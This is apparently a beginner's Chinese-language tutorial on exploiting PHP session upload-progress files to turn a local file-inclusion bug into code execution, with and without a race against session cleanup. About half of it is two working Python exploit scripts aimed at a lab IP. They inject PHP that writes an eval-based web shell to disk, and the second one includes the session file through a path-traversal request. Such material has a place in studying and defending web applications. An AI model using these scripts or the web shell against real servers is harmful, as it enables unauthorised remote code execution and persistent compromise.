小白第一次接触(勿喷)
一. 利用场景
当存在一个文件包含漏洞但找不到可以包含恶意文件时候
二.利用条件
需要开启下面这些配置(默认开启)当我们向服务器上传文件时,php会把该文件保存session中
session.upload_progress.cleanup = On
当这个开启后,当我们上传文件后,会把文件给删掉,所以需要条件竞争,需要当我们在服务器删除之前读取文件
session.use_strict_mode = 0(默认是零),用户可以自定义sessionid(相当于可以控制php生成的文件名字,php生成文件名字一般为sess_sessionid),并将session信息写入这个文件中,(图中为文件保存路径)
三.关闭session.upload_progress.cleanup文件包含
当关闭之后,就不需要什么竞争,只需要上传文件就行,服务器并不会清掉。(首先要去php配置文件关闭)(注意把注释去掉)
之后写脚本上传文件
首先先看下代码
只有一个文件包含漏洞,没有什么危险文件,还有个phpinfo文件,访问
晓得路径。
刚开始什么都没有
成功写入,尝试包含并成功写入木马
四. 开启session.upload_progress.cleanup文件包含
当开启后,当文件上传后,服务器会删掉,需要竞争,python多线程解决,也可以burpsuite
开启后
成功上传
五.关闭session.upload_progress.cleanup文件包含 代码
import requests
# import io
# import threading
url = "http://192.168.229.132/include.php"
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php $f = fopen('2.php','w');fwrite($f,'<?php $cmd = 123;eval($_POST[$cmd]);?>');?>"}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()
def read():
while True:
session.post(url, data=data, files=files, cookies=cookies)
if __name__ == "__main__":
read()
六.开启session.upload_progress.cleanup文件包含 代码
import threading
import requests
# import io
# import threading
url = "http://192.168.229.132/include.php"
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php $f = fopen('3.php','w');fwrite($f,'<?php $cmd = 123;eval($_POST[$cmd]);?>');?>"}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()
def read():
while True:
session.post(url, data=data, files=files, cookies=cookies)
def write():
while True:
new_url = url + "?file=" + "../Extensions/tmp/tmp/sess_" + xiao
r = session.get(new_url)
if "upload_progress_" in r.text:
print("上传成功")
break
if __name__ == "__main__":
t1 = threading.Thread(target=read)
t2 = threading.Thread(target=write)
t1.start()
t2.start()